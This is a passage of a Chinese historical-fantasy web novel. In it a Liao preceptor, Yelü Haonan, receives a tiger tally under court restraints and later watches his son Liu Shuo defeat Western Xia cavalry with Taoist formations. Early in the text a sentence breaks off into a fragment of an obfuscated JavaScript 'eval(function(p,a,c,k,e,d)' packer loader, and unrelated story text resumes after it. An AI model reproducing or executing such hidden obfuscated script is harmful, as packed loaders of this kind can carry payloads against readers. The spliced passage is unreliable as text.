怒吼声在空旷的暖阁内回荡。年轻帝王胸膛急剧起伏,目光如同燃烧的炭火,狠狠瞪着耶律皓南。然而,就在这怒火的顶点,他的目光忽然瞥见了耶律皓南因为方才展袖动作而微微露出的袖口内侧——那里,用暗金色丝线,精细地绣着一只狰狞盘旋的蟠螭纹。 那是北汉皇室特有的纹样。在辽国,尤其是在这皇宫大内,是一种敏感的、带着叛逆与过往血腥的印记。 耶律宗真的怒气仿佛被一盆冰水骤然浇下,嘴角抽动了一下,剧烈的呼吸渐渐平复。他的语气骤缓,甚至带上了一丝刻意的、属于学生对老师的亲近与委屈:“国师教导朕多年,当知……朕最厌的,便是这‘隐忍’二字。” “咚——咚——咚——” 更漏沉重,恰好报时三响。 暖阁的沉重门扉被无声推开,一名面白无须、神情恭谨到刻板的内侍总管,手捧一个铺着明黄绒布的托盘,低眉顺目地走了进来。托盘之上,静卧着一枚沉甸甸的、在烛火下流转着暗金与血色光泽的——虎符。 大帐西暖阁内,对峙已至冰点。年轻的辽帝耶律宗真目光如炬,萧太后的声音自屏风后传来,带着无形的压力。御案上,那枚代表着边关数万大军指挥权的金漆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“国师府杨夫人产后调养数年,安宁郡主年幼,又逢北地严冬,哀家心中挂念。”萧太后目光温煦,话语如针,“已特旨从太医署拨出精通妇科调理与儿科诊治的御医各一名,并有经验稳婆二人,常驻国师府照料,一应用度,皆由内府司支应。国师放心前往。”——最柔软,也最无法挣脱的钳制。 暖阁死寂。耶律宗真脸色铁青。他给予的“全权”,已被拆解殆尽。 耶律皓南静立片刻,伸手,稳稳握住虎符。冰凉,沉甸,权力与束缚同在。纳入袖中,面无表情。 “臣,领旨,谢恩。”声音平静如水。 他退出暖阁。朔风扑面,远处教军场火光点点。袖中虎符冰冷,怀中蜡丸犹存一丝温暖。 夜,深沉如墨。 耶律皓南未直接回府,而是策马缓行,不知不觉来到皇城西北角一处荒僻的角楼下。这里有一截前朝遗留的残破石碑,半埋在积雪与枯草中,平日罕有人至。 多年来的深夜,当宫中的算计、朝堂的倾轧、还有那无处不在的监视目光压得人喘不过气时,他常独自来此。 他翻身下马,走到残碑前。伸手拂去碑面积雪,露出上面模糊的刻字:“太平草木年年长,不知烽火几时休。”不知是哪位前朝戍卒或失意文人所留,字迹拙朴,却透着一股苍凉。 他从怀中取出一个扁平的防水油布袋,打开,里面是厚厚一叠纸笺。有的纸张已泛黄,有的墨迹尚新。 他蹲下身,取出火折子,“嚓”一声点燃。跳动的火光映亮了他没有表情的侧脸,也映亮了纸笺上的字迹。 最上面几张,字体娟秀中带着飒爽,是杨排风的笔迹:“帝师大人今日又被小皇帝气得摔茶杯了吧?啧,比当年在我面前摆国师架子时憋屈多了!”旁边还画了个简笔的哭丧脸小人。 下面更多的,是他自己写的。有些只有“见字如晤”四个字,墨迹深浅不一,显是不同时期所写;有些是零星的诗句或心情琐记,关于塞外的风,关于上京的雪,关于……某些不能宣之于口的念想与疲惫。这是他在这异国朝堂唯一的、秘密的宣泄。每次写下,便在此焚毁,让秘密随烟而散。 往日,他会一张张,仔细地烧掉。 但今夜,火折的光在他眼中跳跃片刻后,他忽然改变了主意。 他拿起那整叠诗笺,站起身,面对着角楼外漆黑深邃的护城河,然后,用力将其掷向呼啸的北风之中! 纸笺如同一群惊飞的白鸟,在夜空中散开,翻飞。片片雪花恰在此时簌簌落下,与那些写满心事的纸张纠缠在一起,然后被风裹挟着,旋转着,纷纷扬扬地坠入冰冷黝黑的河水之中。墨迹在雪水的浸润下迅速晕开,模糊,最终与河水融为一体,再不可辨认。 残碑上,“太平草木年年长”几个字,此刻被新落的雪花与融化的雪水浸透,在微弱的天光下,泛着一种湿漉漉的、恍若血泪蜿蜒的暗红光泽。 他从袖中取出最后一张纸。那是今日清晨收到的,杨排风以特殊药水写就、遇热方显的短笺。上面没有寻常问候,只抄录了一段契丹童谣:“天苍苍,野茫茫,我家儿郎耍银枪,不打狐狸不打狼,专戳贼子黑心肠!”字迹旁边,还有一个用炭条画的、歪歪扭扭却神气活现的小人,举着根长棍。 他的嘴角,极微弱地勾了一下。然后,他将这最后一张纸,反手,用力按在了残碑冰冷潮湿的碑面之上。 雪水迅速浸透纸背,童谣的墨迹开始模糊,化开,与碑上原有的字迹、与那仿若血泪的水痕混杂在一起,再分不清彼此。就如同此刻辽夏边境迷离不清、杀机暗伏的战局。 他转身,上马,最后看了一眼那残碑与黑沉沉的护城河,策马离去。身影很快融入深沉的夜色与飘洒的雪花之中。 出征前夜。 耶律皓南独自立于皇城最高的一处汉白玉阶顶端,正是多年前他初入辽宫、接受“国师”封号时伫立的地方。寒风如刀,卷起他玄色蟒袍的广袖与下摆,猎猎作响。 远处,教军场方向火把通明,三万精选铁骑已列阵完毕,正在进行最后的整备。士卒的铠甲与兵刃在火光下反射出一片森冷刺目的寒光,那光芒灼灼,刺得他微微眯起了眼。 恍惚间,那一片粼粼的寒光,与记忆中另一幅画面重叠——国师府后院的廊下,杨排风在午后的阳光里,就着一块青石,不紧不慢地磨着她那杆陪她出生入死的镔铁长枪。枪尖在粗糙的石面上摩擦,发出均匀的“沙沙”声,溅起点点火星,而磨利的枪尖反射着日光,也是这般……锐利,坚定,让人心安。 “国师。” 一个年轻的、故意放得沉稳的声音在身后响起。耶律宗真踏着积雪走来,身后只跟着一名捧着大氅的心腹内侍。少年天子解下自己身上那件紫貂毛镶边的玄色大氅,亲手披在了耶律皓南的肩头。 “夜深霜重,国师保重身体。”他的声音透着一种刻意的关切,目光却越过耶律皓南的肩头,投向南方漆黑的天际,“朕昨日……翻查北汉旧档,见其中记载,‘幼主七岁罹难,孤忠泣血石城,十载卧薪,难雪国仇’……” 他转回目光,看向耶律皓南,眼底闪动着一种复杂的、混合了试探、拉拢与某种不甘的光芒,“待朕踏平西夏兴庆府,擒了李元昊那疯子……朕便把西夏王宫,赐予国师作为府邸。” “总好过……”他的声音压低,带上一丝少年人特有的、刻意为之的煽动性,“在这异国他乡的阶上,年年岁岁,夜夜……望断雁门关,不是么?” 雁门关,北汉故地与辽境交界的要塞,也是北汉亡国后,多少遗民魂牵梦萦、却再难踏足的故土方向。 耶律皓南静静地听着。寒风卷起他额前的发丝,露出光洁的额头与那双深邃得不见底的眼眸。 忽然,他大笑出声! 笑声爽朗,却透着一股难言的苍凉与讥诮,在空旷的高阶上回荡,震得披在肩头的大氅上积雪簌簌落下。 笑声未歇,他已伸手探入腰间,解下一枚触手冰凉、造型古拙的玄铁符牌,看也不看,便随手掷还给了面露错愕的耶律宗真! “陛下,”他的声音因为方才的大笑而带上一丝沙哑,却字字清晰,“臣教了你多年《孙子兵法》,《鬼谷子》,《战国策》……今日临行,便再补上最后一课。” 那玄铁符是可以在特定情况下调动部分宫帐军的信物,是耶律宗真前不久为示恩宠与“信任”私下赐予他的。此刻,这东西躺在年轻帝王的掌心,冰冷,沉甸,却烫得像一块刚从火中取出的烙铁。 耶律皓南不再再看他,转身一步步踏下高阶。他的步履稳健如山,背脊挺得笔直。走到阶下拴马石旁,他解开缰绳,翻身上马。鞍鞯旁悬挂的那柄龙首金吞口战刀,刀鞘在稀薄的月光下流转出一道冰冷的、宛如残月般的弧光。 “为君者……”他勒住马缰,最后一句话随着夜风送来,清晰地钻入耶律宗真的耳中,“最忌……让人看清,你有多怕他。” 话音落,马蹄声碎!骏马扬蹄,载着他玄色的身影,如一道离弦之箭,射向教军场方向的滚滚火光。 就在此时—— “咻——嘭!” 漆黑的夜空东南方向,毫无征兆地炸开一朵赤红如血的焰火!那焰火的形状诡异,在空中短暂停留,宛如一只狰狞的、睁开的血眼! 是西夏“夜枭”死士用以示警与召集同伴的特制信号!方向……正是黑水镇燕军司所在的大致方位!看来,敌人的嗅觉,比想象的更敏锐。 耶律皓南猛地勒住奔马!骏马人立而起,发出一声长嘶。他坐在马背上,缓缓回过头,望向皇城宫阙的最高处——那座凌驾于一切殿宇之上的观星台。 漆黑的夜色中,一道素白如雪的身影,不知何时已悄然立于观星台栏杆之畔。即使隔着这么远的距离,即使在深沉的夜色里,那身影所透出的沉静与威仪,依旧让人无法忽视。 是萧太后。 她的手中,正缓缓放出一盏明黄色的孔明灯。灯盏冉冉升起,在夜风中摇曳着,逐渐升高。灯笼的纸面上,以朱砂绘着一只线条流畅妖异、尾巴蓬松飘逸的——九尾狐。狐眼细长,在灯火映照下,仿佛活了过来,正冷眼俯瞰着这座皇城,以及城外即将奔赴沙场的滚滚铁流。 那图案,耶律皓南熟悉得不能再熟悉。 多年前,就是在这座皇城的某个殿宇中,已尊为皇太后、临朝称制的她屏退左右,对着当时尚且狼狈、却已露出锋芒的他,说出了那句改变他一生命运的话: “哀家要的……” “从来不是摇尾乞怜、唯命是从的忠犬。” “而是……能为哀家撕破这漫漫长夜、咬断一切敌人喉咙的——利齿。” 当时,她的案头,就铺着一幅绘着九尾狐的画卷。 如今,利齿已磨砺成型,即将扑向新的猎物。而放出利齿的人,依旧高高在上,用一盏绘着同样图案的明灯,无声地宣示着主权,提醒着他的来处与归宿。 耶律皓南最后看了一眼那盏逐渐升高、融入夜空星河的孔明灯,然后,再无犹豫,猛地一夹马腹! “驾!” 骏马长嘶,如离弦之箭,载着他冲向前方火光与未知的战场。身后是沉沉的皇城,是明争暗斗的朝堂,是被精心“照料”的妻女。 山雨已至,狂风满楼。这一局,生死搏杀,才刚刚开始。 19. 龙战于野,血沃黄沙 暮色笼罩下的国师府,檐下铁马被朔风撞出铮鸣。耶律皓南指尖掠过舆图上蜿蜒的辽夏边境,忽闻墙外传来熟悉笑骂:“乖师侄!且看老道将你这块顽石琢成了何等利器!”柴门轰然洞开,凌霄子拎着酒葫芦踏月而来,身后少年青衫磊落,腰间软剑缠如银蛇——正是五年未见的刘朔。夜风卷起少年衣袂时,地面尘土竟随他步伐流转成太极两仪之形。 凌霄子一掌拍向石案,案上沙盘未震分毫,唯独代表西夏铁鹞子的铜驹齐齐倒伏:“这小子在终南山破你布下的‘九星锁’阵,只用了三炷香!”他扯过刘朔左腕,袖口滑落处露出七枚铜钱大小的紫痕,“瞧见没?紫微斗数‘七星映月’的星力反噬之印!你当年十八岁才堪堪掌握的借星推演,他十二岁已能化入剑诀!” 耶律皓南指尖微颤。他记得当年在华山之巅,师叔正是用这招“七星映月”破了他苦修十年的北汉秘阵。此刻那紫痕在烛下泛着幽光,恍如昨日。刘朔却屈指轻弹,七枚铜钱叮当坠入茶盏,在盏底排成北斗阵型:“爹,师傅骗您的——其实熬了整夜,我哭湿了他三件道袍才摸到门道。” 少年眉眼弯弯似杨排风年少时的狡黠,眸底沉淀的沉静却像极了自己。耶律皓南突然以茶代剑点向他喉间,刘朔袖中软剑如银鲤跃出,剑尖未及衣襟便陡然回转,挑灭烛火的同时,七枚铜钱从茶盏中激射而出,钉入梁柱成天罡位。黑暗中响起师叔大笑:“如何?这手‘星陨天罡’可比你当年那板正的‘北斗伏魔’灵巧多了!” 密室中血腥气弥漫,墙上辽夏边境图染着三日前阵亡哨兵的黑血。耶律皓南尚未开口,刘朔已蘸着冷茶在案面画出一道弧线:“阴山隘口埋有火药。李元昊的铁鹞子惯用‘三叠浪’,但今年雪季提前半月,第二波骑兵会从西麓切入——”他指尖划过茶渍,水痕竟泛起诡异的青烟,“因为我在他们的粮道旁布了‘赤阳阵’,雪融速度会快两成。” 密报骤至。耶律皓南展开绢帛,瞳孔骤缩:西夏主力行军路线与刘朔所判分毫不差!他猛然抬头,见儿子正用银簪拨弄灯花,簪尖在舆图上投出的阴影,恰笼罩宋军狄青部驻守的渭州。“北宋那边……”刘朔轻声递来《汴京杂记》,暗桩密写的奏章片段上,“狄青面涅犹在”几字被朱砂圈点,“文官们弹劾他僭用黄罗伞,却不知西夏‘黑鸩’已混入枢密院当值的书吏中。” 耶律皓南喉间泛起腥甜时,忽见刘朔袖中滑落半截焦黑箭簇——正是辽军特制的破甲箭,箭杆刻着细小的八卦纹,乃师门独有标记。 夜巡至女儿寝殿外,耶律皓南见婴孩正攥着刘朔的指头酣睡。少年将桃木护身符塞进襁褓时,月光照见他腕间一道淡金纹路——那是终南山金叶蕨的汁液浸染的痕迹,此草唯有心脉强健者触碰后才会显现异色。 杨排风提灯走来,光晕掠过他凝霜的鬓角:“师叔说,朔儿在终南山误食金叶蕨后,竟能感知你的心脉波动。”她声线平静,握枪的手却泛白。暖阁内传来凌霄子的醉语:“当年你爹在幽州被围,心口旧伤崩裂时,这小子在百里外突然呕血——” 耶律皓南猛然拽住妻子手腕疾走向古槐。当他从树洞取出那枚锈蚀的北汉调兵符时,杨排风忽然按住他心口:“你可知去年你重伤昏迷时,朔儿在终南山彻夜不眠,用金叶蕨汁绘制的护心阵?”她自怀中取出一块丝帕,上面用蕨汁绘着繁复的符文,正随着耶律皓南的心跳微微发光,“他说……若父亲心脉衰竭,此符会先碎。” 月光漏过枝桠,映亮符文中流动的金色脉络。耶律皓南掰断令牌掷入井中,碎响惊起寒鸦:“排风,我埋了二十年的执念,今日该换成这株金蕨了。” 五更时分,师门三人立于角楼。凌霄子泼酒成冰,凝出的西夏宫城图上,西南角生母旧殿泛着诡异红光。“李元昊的九重蛊阵不足为惧,”刘朔忽然并指划向冰图,所过之处红光明灭,“我在他床头镜匣埋了雄黄粉,在御膳房水道撒了断魂花籽——三日后月亏之时,蛊阵自溃。” 晨光刺透云层时,耶律皓南看见儿子眼底映出整片星河。刘朔忽然解下软剑挥向晨曦,剑风过处,院中落叶聚成辽夏两军对垒之阵,旋即化作太极阴阳鱼缓缓旋转:“爹,当年您以天门阵祭天下苍生,今日孩儿愿以阴阳局护山河无恙。” 檐下铁马骤响,远处烽火台升起狼烟。耶律皓南抬手拂过儿子衣领,拈下一片终南山特有的金叶蕨——正是克制西夏蛊毒的唯一药引。师徒二人相视一笑,身后传来杨排风将早点放在石桌上的轻响,瓷碗与木桌相触的声响沉稳,一如寻常百姓家的清晨。 风是从祁连山缺口灌进来的,带着雪线之上的尖啸与戈壁沉积了千年的粗粝,卷起黄沙如同一匹无边无际的、正在疯狂抖动的破毡子。辽军玄色帅旗在这样的风中,旗面被绷得笔直,每一次剧烈抖动都发出裂帛般刺耳的啸响,仿佛下一刻就要被撕成碎片。 帅旗之下,耶律皓南孑然独立,身上那袭代表国师权柄的绯红官袍,在漫天昏黄中灼目如血,袍角与广袖却奇异地未染半点尘泥,只是静静垂落。他双手虚扣,结成一个古奥的“太极印”,轻轻垂于腹前。 远处祁连山连绵的雪峰在朝阳下泛着冷硬的银光,山脊的起伏如同巨龙沉睡的呼吸。而此刻,耶律皓南周身那看不见的气流,竟与那百里之外雪脉呼吸的韵律——同频共振。这不是武功,不是术法,这是他将华山陈抟老祖《无极图》中“身与道合、天人一体”的至理,化入了眼前这片杀机四伏的战场。他本人,便是这方天地最大的阵眼。 三丈外,一辆卸去了弩机的废弃战车辕木上,刘朔斜斜倚坐着。少年一身便于行动的玄色劲装,与父亲的绯红官袍对比鲜明。他一条腿曲起,手肘搭在膝上,食指有一下没一下地拨弄着腰间那枚凌霄子所赠的“清心玉”佩。 奇异的是,那枚看似寻常的白玉,随着他指尖每一次轻抚,竟泛起一圈圈涟漪般的、清澈柔和的光晕。那光不刺眼,却仿佛有生命一般,在玉内部缓缓流转、呼吸,与少年本人松弛却又隐含无限生机的姿态浑然一体。 “轰隆隆隆——” 地平线上,西夏“铁鹞子”重骑开始冲锋。那是真正的黑云压城。数千匹披着玄色冷锻扎甲的河曲骏马,载着同样全身重甲、只露出一双嗜血眼睛的骑士,以一种排山倒海、毁灭一切的气势,碾过戈壁。马蹄叩击大地的声音不再是雷鸣,而是整个世界都在为之震颤、呻吟!脚下的沙砾疯狂跳动,细小的石子相互撞击,发出密集如雨的“沙沙”声。 耶律皓南眼睫都未动一下。他只是足尖微不可察地向左一旋,虚扣的太极印随之转向“震”位(东方,雷,动)。 “地脉,东移三寸。” 他的声音不高,却清越如同古寺晨钟敲响的第一声磬音,穿透轰鸣的马蹄,清晰地回荡在阵前。 话音方落—— 铁鹞子先锋最前方约三十步处,看似坚实的沙地突然发出一阵诡异的,仿佛巨兽吞咽的闷响,随即整片地面骤然向下塌陷!不是小范围的坑洞,而是一道宽达十余丈、长不知几许的流沙带,如同一条被惊醒的黄色巨蟒,瞬间张开了可怖的大口! 冲在最前的数十骑根本来不及反应,连人带马一头栽了进去!流沙如同有生命的活物,疯狂缠裹上马蹄、马腹、骑士的腿甲……凄厉的马嘶与人类绝望的惨嚎刚刚响起,便被流沙吞噬,只留下几个徒劳挥动、迅速下沉的手臂影子。 这不是强行以力催动地煞,制造陷阱。这是以太极印为引,以自身与祁连山脉共振的气机为桥梁,悄然引动了地下深处一条本就不稳定的暗流微微改道——正是华山道统“借天地之势,行自然之道”的最高体现。精妙,节省,却也……需要前所未有的精确控制与对天时地利的极致把握。 然而西夏铁鹞子能成为横行西北的噩梦,岂是易与?先锋受阻,后续骑兵竟毫不减速。在令人牙酸的金属撞击与战马悲嘶中,第二排骑兵竟然猛地一提缰绳,借着前冲之势,狠狠一踏前方陷入流沙的同袍马背! “噗!噗!”沉闷的践踏声中,血肉与铠甲一同崩碎。而借着这残酷的垫脚石,数十骑竟然凌空跃起,险之又险地越过了流沙带的大半,眼看就要落在对岸! 耶律皓南的眉头几不可见地蹙了一下。对方的凶悍与决绝超出预计。他指诀微变,就要引动第二重变化—— “爹的‘导气归元’,稳是真稳,跟后山那棵千年老松似的。” 一个带着笑意的清朗少年嗓音忽然插入,在这杀声震天的战场上,显得格外“不合时宜”,却又奇异地清晰。 刘朔不知何时已从战车上直起了身,嘴角噙着一丝懒洋洋的笑。“可问题是,等您这老松的松针,一根根慢悠悠攒足了劲儿,扎透人家那铁罐头一样的铠甲……” 他说着,信手将腰间那枚泛着涟漪清光的玉佩摘下,随意地向头顶一抛! “人家西夏的大刀,早就砍到咱们帅旗底下啦!” 奇迹发生。 那枚白玉佩并未坠落,而是稳稳悬停在刘朔头顶三尺之处,开始自行缓缓旋转。随着它的旋转,一道朦胧的、半透明的太极虚影,以玉佩为中心,如同水中晕开的墨迹,迅速向四方荡漾开来! 与此同时,刘朔动了。他的步伐看似随意,却踩着九宫八卦的方位,每一步落下,都恰好点在耶律皓南能感知到的、此地地脉气机流转的关键“节点”上。不是强行改变,而是如同最高明的琴师,在已有的旋律中,轻轻拨动了几个音符。 太极虚影扩散的范围,正好笼罩了那些即将落地的西夏骑兵。 然后,让所有人(包括耶律皓南)瞳孔骤缩的一幕出现了—— 那些凶神恶煞、杀气腾腾的铁鹞子,在落地的刹那,仿佛突然瞎了,疯了。他们面前明明是空旷的沙地,可在他们眼中,似乎出现了无数影影绰绰、张牙舞爪的辽军重甲步卒!他们嘶吼着,对着空无一物的沙丘疯狂挥刀砍杀,有的甚至因为用力过猛,在沙地上狼狈地翻滚。 不是幻术迷魂那种低级伎俩。这是以太极虚影为引,以地脉节点的微调为基,在那片区域短暂地构建了一个与外界感官稍微“错位”的力场。人在其中,方位感、距离感乃至视觉都会出现极其微妙的偏差,将空旷看成障碍,将同伴看成敌人。 更奇的是,那太极虚影的边缘,在晨光与戈壁稀薄的水汽作用下,竟凝结出了无数细密晶莹的露珠。露珠缀在虚影边缘,随风轻颤,然后悄然滴落,融入沙中。每一滴露珠落下,那太极虚影便凝实一分,清灵之气弥散,竟如同一场无声润物的春雨,不带丝毫烟火杀伐之气,却将那片区域的“错位”力场稳固得牢不可破。 耶律皓南凝视着那片虚实相生、困住数十精锐铁骑的太极虚影,垂在身侧的手,指节因为用力而微微泛出青白。 这绝非《无极图》中记载的任何一种变化!甚至,与师叔凌霄子所擅长,更为跳脱不羁的《先天图》路数,也迥然不同! 他看见刘朔的食指与中指并拢,正对着空中那枚旋转的玉佩,做出极其细微的牵引动作。随着他的牵引,玉佩在空中划出一道道看不见的、却能被耶律皓南气机感知的轨迹。那些轨迹,赫然是一个个古奥的卦象! 而更让他心神俱震的是,这些卦象轨迹的走向与叠加,竟与此刻天际流云的舒卷方向、速度,暗合! 少年仿佛不是在布阵,而是在以苍穹为罗盘,以流云为指针,进行一场与天地自然的对话与共舞。 当年陈抟老祖于华山之巅,观云海变幻十年,方悟出《无极》、《先天》二图的传说……此刻,竟在这个尚带稚气的少年举手投足间,以一种如此轻松、如此……“儿戏”的方式,重现了! “朔儿。” 耶律皓南开口,声线依旧沉静如深潭,不起波澜。然而,他藏在绯红广袖之中的左手,食中二指已在瞬息间掐出了三十六道繁复至极的推演诀,试图厘清这阵法的根基与破绽。 “你这‘雾隐太极’,借的是寅时(凌晨)将散未散的朝露与地气。”他的目光扫过天边越升越高,越发炽烈的朝阳,“若日头再高,晨雾散尽,地气升腾……此阵如何维系?” 这是考教,也是担忧。再精妙的阵法,若不能持久,在战场上便是取死之道。 刘朔闻言转过头,对着父亲眨了眨眼,露出一个狡黠如狐的笑容。 下一瞬,他的手指凌空一勾—— 那枚悬浮旋转的玉佩,如同被无形的丝线牵引,骤然坠落,稳稳回到他的掌心。 几乎同时,困住铁鹞子的太极虚影与“错位”力场,无声瓦解。那些正在对着空气疯狂砍杀的骑兵猛地一怔,眼前幻象消失,露出真实的沙地与不远处严阵以待的辽军刀盾手。 然而,还没等他们从错愕与力竭中回过神—— “嗤!嗤!嗤!” 数道耀眼夺目的金色光斑,如同从天而降的利剑,骤然在他们阵中爆开!光源正是刘朔手中那枚,在朝阳下折射出璀璨光华的玉佩! 少年不知何时已调整了角度,将玉佩对准了升起的朝阳。经过玉佩奇异质地的折射与他气机的引导,几缕本该散漫的晨光,被聚拢、凝练成灼热的光斑,不偏不倚,正正烙在了西夏军阵中央、那面最高大的主帅旗幡之上! 那旗幡以西夏特有的“鬼羊绒”混合金线织就,上面以朱砂与秘银绘制着繁复狰狞的西夏图腾与护军咒文。 咒文遇到那经过玉佩转化、带着一丝特殊破邪韵律的炽烈光斑,竟发出“嗤嗤”的怪响,冒起缕缕青烟,然后——熊熊燃烧起来! 主帅旗幡突然着火。这对于任何一支古代军队都是致命的打击。西夏铁鹞子本就因为方才的幻阵而阵型散乱、士气受挫,此刻见到代表军魂与指挥的旗幡燃烧,顿时大乱!惊呼声,怒骂声,战马的惊嘶声响成一片。 “爹不是教过我么?”刘朔轻巧地一偏头,躲过一支不知从哪个惊慌西夏骑兵手中射出的流矢,笑道,“‘时势如流水,堵不如疏’。” “可爹总喜欢把水往自己设计好的渠道里引,一板一眼,分毫不差。”他的眼睛在晨光下亮得惊人,“我呢,偏喜欢……让水自己去找路走。看看它能流出什么新花样。” 耶律皓南的心脏仿佛被什么东西狠狠撞了一下。 十多年前,终南山后山瀑布下。他耗费三日三夜,以周围山石树木布下一座自认完美无瑕的“四象锁灵阵”,困住了一头凶猛的白额猛虎,向师叔炫耀。 凌霄子看了半晌,忽然拍着腿纵声大笑,笑得眼泪都出来了:“皓南啊皓南!你这阵布得……嘿!就跟你这人一样,每一块石头摆哪儿,每一根树枝指向哪儿,都算得清清楚楚,精准得像是拿尺子量过!” “可你忘了啊!”师叔的笑声在瀑布轰鸣中依旧清晰,“你忘了这山石本有脉络,这树木自有生机!你是在‘雕玉’,不是在‘顺玉’!你把所有的纹理都当成了需要修正的瑕疵,却忘了——玉脉自有天成!最好的匠人,是顺着纹理走刀,而不是把纹理都给剖平了!” 此刻,戈壁的风卷着沙尘,掠过刘朔那张带着笑意、沾着尘土却熠熠生辉的年轻面庞。那神情,那眼底流转的灵光与不羁,竟与记忆深处师叔当年戏谑却深刻的神情……重叠在一起。 而最令人心惊、甚至感到一丝恐惧的变化,发生在片刻之后。 刘朔一边维持着玉佩折射阳光、扰乱敌阵,一边竟然还有余暇,几步蹿到了耶律皓南身边,伸手扯了扯他的袖口,像个发现了新奇玩意儿的孩子。 “爹!快看那边!”他兴奋地指向西南方向一片被风蚀得奇形怪状的沙丘,“像不像您书房里那个华山沙盘?就是有七十二峰的那个!” 耶律皓南下意识循着他所指望去。 恰在此时,一阵更强劲的朔风卷过战场,将那面燃烧的西夏主帅旗幡上的灰烬与未燃尽的碎片猛地扬起。 那些黑色的、带着火星的灰烬,在空中竟然没有立刻散去,而是被一股无形的、柔和的力量牵引着,在空中翻卷、聚合…… 在耶律皓南骤然收缩的瞳孔中,那些灰烬,在西南方的天幕背景下,赫然拼出了一幅虽然简略、却神韵俱在的——华山七十二峰缩略图!主峰突兀,侧岭逶迤,谷壑隐约,甚至连著名的“苍龙岭”那道险峻的脊线都依稀可辨! 而此时,刘朔手中那枚玉佩,仍在缓缓旋转,折射着阳光,对西夏军阵持续造成干扰。阵法的力量,未减分毫。 “阵眼……” 耶律皓南的目光死死锁定在那枚看似寻常的玉佩上,声音低得只有自己能听见,“竟在呼吸之间?” 传统阵法,无论高低,皆需一个相对固定的“阵眼”用以汇聚、调动力量。布阵者需耗费大量心神维持阵眼稳定,一旦阵眼被破或施术者分神,阵法立溃。这是铁律。 可眼前……这少年一边用玉佩维持着折射阳光的“阵法”,一边还能跑过来扯他袖子,兴致勃勃地指着远处沙丘说像华山!甚至,还有余力以灰烬为笔,在空中作画! 那枚凌霄子所赠的“清心玉”,此刻光华流转,与少年的呼吸、心跳、甚至是每一个细微的情绪波动,都浑然一体,气息共生。它不是“阵眼”,它就是少年肢体与心神的延伸,是他与这天地对话的一枚“道符”。 传统阵法那些关于阵眼、心神、维持的铁律,在这少年面前,仿佛成了一个可以随心所欲打破、重组、玩耍的游戏。 耶律皓南忽然解下了自己随身多年、用以勘定风水地脉、推演阵法吉凶的玄武罗盘。盘中那枚玄水晶磨制的磁针,此刻正在疯狂地、不规则地颤抖、旋转,最终,稳稳地指向了——刘朔。 不是受到了什么强大的磁场或能量干扰。这是罗盘这件法器,对于眼前少年身上所散发出的,那种浑然天成、与道合真的“逍遥游”般的自然道韵,所产生的本能的、崇敬般的——指引。 风中,传来刘朔带着笑意的、轻飘飘的一句耳语,仿佛只是一句闲谈: “师傅说……当年道祖老子骑着青牛出函谷关,西行化胡的时候……” “也没见他老人家,扛着一大堆阵旗、罗盘什么的呀。” “哗啦——” 耶律皓南猛地仰起头,将腰间水囊中剩余的清水一饮而尽。冰凉的液体冲入喉咙,咽下的,却仿佛是多年来刻在骨子里、融在血液中的那些关于“道”、关于“阵”、关于“规矩”的——沉重枷锁,碎裂成齑粉的声音。 远处西夏军阵中响起了急促而慌乱的鸣金之声,混合着晨风送来的,不知哪座荒僻烽燧残存的晨钟余韵。 他抬起眼,看见初升的朝阳将金辉毫不吝啬地镀在儿子尚带着几分稚气、却已初露绝世锋芒的眉宇之间。那光芒如此纯粹,如此耀眼,恍惚间,竟与千年前道祖老子骑青牛西出函谷、紫气浩荡三万里的传说画面……重叠在了一起。 战场从开阔戈壁转移到了地势更加险峻的阴山隘口。 朔风在这里被两侧陡峭的山岩挤压、扭曲,发出鬼哭狼嚎般的尖啸,卷起的已不仅是黄沙,更有碎石与枯草。西夏铁鹞子的玄黑重甲与辽军制式的弯刀寒光,在这片狭窄的天地间疯狂地碰撞、绞杀、迸溅出无数血与火的花朵。惨叫声,兵器撞击声,战马垂死的哀鸣,混成一锅沸腾的、名为死亡的粥。 耶律皓南立于临时搭建的木制指挥高台之上,目光如鹰隼般扫视着整个战场。他的指尖刚刚触及身旁的令旗旗杆,准备下达一个关键的调动命令—— 忽然西南方向那条被认为因为干涸,而无法通行大部队的狭长峡谷深处,毫无征兆地腾起冲天的烟尘。那烟尘的规模与速度…… 李元昊!这个疯子!他竟然将至少半数的铁鹞子精锐,冒着极大风险,提前潜藏于那干涸河床之下的隐蔽处。此刻这支埋伏已久的黑色铁流,如同从地狱深渊中冲出的灭世洪潮,以一种决绝而疯狂的姿态,向着辽军防御相对薄弱的侧翼,席卷而来。 黑潮未至,那扑面而来的杀气与死亡气息,已让高台上的旗手与传令兵脸色煞白。 然而,就在那铁骑冲锋扬起的沙尘尚未逼近中军本阵之时—— 一道玄色的身影,如同一只真正的敏捷鹞鹰,从高台侧方一掠而下!身法之快,在空中留下一串清晰的残影。 刘朔! 少年的玄衣被峡谷中紊乱而急促的气流卷得猎猎作响,仿佛下一刻就要被撕碎。可他的脸上不见丝毫惊慌,反而带着一种跃跃欲试的、甚至可以说是“兴奋”的光彩。 他没有取符,没有念咒,甚至没有摆出任何施法的架势。在落地的刹那,他反手抽出腰间那枚清心玉佩,就像随手捡起一块石头,对着脚下看似坚实的沙石地面,轻轻一磕。 “叮。” 一声清越如玉磬的轻响。在震耳欲聋的战场杀声中,微不足道。 可就在这声轻响传出的同一瞬—— “轰隆隆……” 谷底深处的岩层,传来一阵沉闷得仿佛来自地心的、令人牙酸的巨响与裂响!仿佛有什么庞然大物正在苏醒、翻身! 下一刻,那支黑色铁流即将踏上的,本该坚实无比的沙石地面,突然像是被抽掉了基础的积木,整片整片地向下塌陷!不是流沙,而是更可怕的、混合着岩石碎块与松软泥沙的——流沼! 刘朔那轻轻一磕,竟然以玉佩为媒介,发出了一道特定频率的震动!这震动如同一把钥匙,精准地“打开”了地下深处,那因为古代暗河改道而遗留下的、早已被沙石淤塞却并不稳固的——巨大溶洞群! “爹!看好了!” 刘朔的声音清亮地传来。只见他足尖在塌陷区边缘几块裸露的巨石上轻点,身形飘忽如燕。每一步落下,都恰好踏在耶律皓南能感知到的、此地尚未完全崩坏的地脉气机“节点”上。不是破坏,而是在崩溃的边缘,进行一种危险至极的“舞蹈”与“引导”。 冲在最前的铁鹞子重骑根本刹不住脚,一头栽进了突然出现的流沼陷阱。人仰马翻,惨嚎不绝。 就在此时,刘朔袖口一抖—— “咻咻咻咻……” 